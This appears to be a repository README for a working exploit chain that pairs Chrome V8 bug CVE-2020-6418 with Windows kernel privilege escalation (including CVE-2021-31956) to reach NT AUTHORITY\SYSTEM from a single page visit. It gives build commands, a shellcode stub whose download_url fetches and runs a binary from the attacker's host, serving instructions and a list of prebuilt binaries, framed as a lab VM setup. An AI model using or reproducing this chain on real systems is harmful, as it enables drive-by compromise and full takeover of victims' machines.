
Single-stage exploit chain for CVE-2020-6418 (Chrome RCE) chained with Windows privilege escalation to SYSTEM, with build scripts and prebuilt binaries.
This repo has a working, single stage exploit chain for CVE-2020-6418
(a type confusion bug in V8's Turbofan compiler, affecting Google Chrome
80.0.3987.87 x64). Visiting a malicious page with a vulnerable Chrome gets
you native code execution inside the renderer process. From there, the
exploit downloads and launches a second binary that chains two more bugs
(a missing length check in NtPowerInformation plus CVE-2021-31956, a pool
overflow in ntfs.sys) to go from an unprivileged process all the way up to
NT AUTHORITY\SYSTEM.
The whole thing runs with a single visit to the page, no manual steps in between the browser bug and the SYSTEM shell.
Original credit for the Chrome exploit goes to Clement Lecigne (bug
discovery, Google TAG) and Istvan Kurucsai / Vignesh S Rao (the original
proof of concept, later shipped as a Metasploit module). We stripped out
the Metasploit dependencies and rebuilt the delivery mechanism around a
native downloader instead of embedding the payload in the page. Details in
browser-exploit/README.md.
browser-exploit/ The Chrome exploit (the V8 bug + the native stub)
exploit_template.html HTML/JS source, with a placeholder for the stub
build_exploit.py generates exploit.html from the template
shellcode/ the native code the exploit injects into Chrome
privilege-escalation/ The Windows EoP chain, a standalone C program
prebuilt/ Ready to use binaries (exploit.html and exploit.exe)
notes/ An earlier approach we tried and abandoned, kept
as a record of what we learned along the way
Attacker machine (the "host"): any recent Windows with Visual Studio 2019 or 2022 (any edition, Community is fine, or just the Build Tools), NASM, and Python 3. This is where you build everything and serve the exploit page.
Target machine (the "VM"): this has to match exactly, the exploit relies on hardcoded offsets that are only valid for these specific builds.
winver or
[System.Environment]::OSVersion in PowerShell.chrome://version.C:\lab8 (can be empty, it just needs to exist).We tested this on a VMware Workstation VM with a host only network adapter, but any setup where the VM can reach the host over HTTP works the same way.
cd browser-exploit\shellcode
build.bat
cd ..
python build_exploit.py shellcode\download_and_run_stub.bin exploit.html
cd ..\privilege-escalation
build.bat
Before the first build, open browser-exploit\shellcode\download_and_run_stub.asm
and edit these two lines near the bottom:
download_url: db "http://YOUR_HOST_IP:8000/exploit.exe", 0
destination_path: db "C:\lab8\exploit.exe", 0
YOUR_HOST_IP is the IP address of this machine as seen from the VM (run
ipconfig on the VM and check the network adapter that matches your host
only or NAT network, or just ipconfig on the host and use the adapter on
the same subnet as the VM). destination_path should match wherever you
want the EoP binary to land inside the VM, it defaults to C:\lab8.
After editing, reassemble the stub and regenerate exploit.html (the two commands from step 1, skipping the privilege-escalation build since that one does not depend on the IP).
If you don't want to touch the assembly file for a quick test, prebuilt/
already has a working copy with our own test IP baked in. It will only
work if your network happens to match, so building your own copy is the
reliable path.
Put exploit.html and exploit.exe (the one built in
privilege-escalation/) in the same folder, then:
python -m http.server 8000
exploit.exe has to be reachable at the exact URL you put in
download_url above, since the native stub fetches it directly, not
through the browser.
A quick note on the host firewall: if the VM cannot reach port 8000, it is
almost always Windows Defender Firewall blocking the inbound connection on
an unclassified network, or a leftover rule blocking python.exe
specifically (Windows sometimes creates one automatically the first time
an app tries to accept a connection on an untrusted network). Check
Get-NetFirewallRule -DisplayName "python.exe" in an elevated PowerShell
if you run into this.
Confirm the Windows build and Chrome version match the requirements above.
Create C:\lab8 if it is not there already (empty is fine).
If this is a bare VM that never went through a real boot cycle,
C:\Windows\bootstat.dat might be missing or empty, and the kernel bug
needs it to exist with valid contents. If needed:
if (!(Test-Path C:\Windows\bootstat.dat)) {
fsutil file createnew C:\Windows\bootstat.dat 2048
}
$bytes = [System.IO.File]::ReadAllBytes("C:\Windows\bootstat.dat")
$bytes[4] = 1
[System.IO.File]::WriteAllBytes("C:\Windows\bootstat.dat", $bytes)
Launch the vulnerable Chrome with --no-sandbox (this PoC does not include
a sandbox escape, so the renderer needs to already be unsandboxed to reach
the file system and spawn processes) and point it at the page:
chrome.exe --no-sandbox http://YOUR_HOST_IP:8000/exploit.html
Open DevTools (F12) and check the Console tab, the exploit logs its
progress there. If everything lines up you should see the type confusion
succeed, the stub download and launch the EoP binary, and after a few
seconds a new console window running as NT AUTHORITY\SYSTEM.
exploit_template.html
(objleaker_offset, float_carw_elements_offset, and the rest) are
specific to 80.0.3987.87 x64, they will not work on a different build
even a patch version apart.DEFAULT_RVA_ANCHOR, DEFAULT_RVA_SEPSD, and the various
EPROCESS/ETHREAD offsets in privilege-escalation/exploit.c) are
hardcoded for that build.download_url in download_and_run_stub.asm matches the address and
port the host is actually serving on, and that the VM can reach it (a
plain curl http://YOUR_HOST_IP:8000/exploit.exe from inside the VM is
a quick way to confirm connectivity before blaming the exploit).More detail on each piece, including why it is built the way it is, in the README of each folder.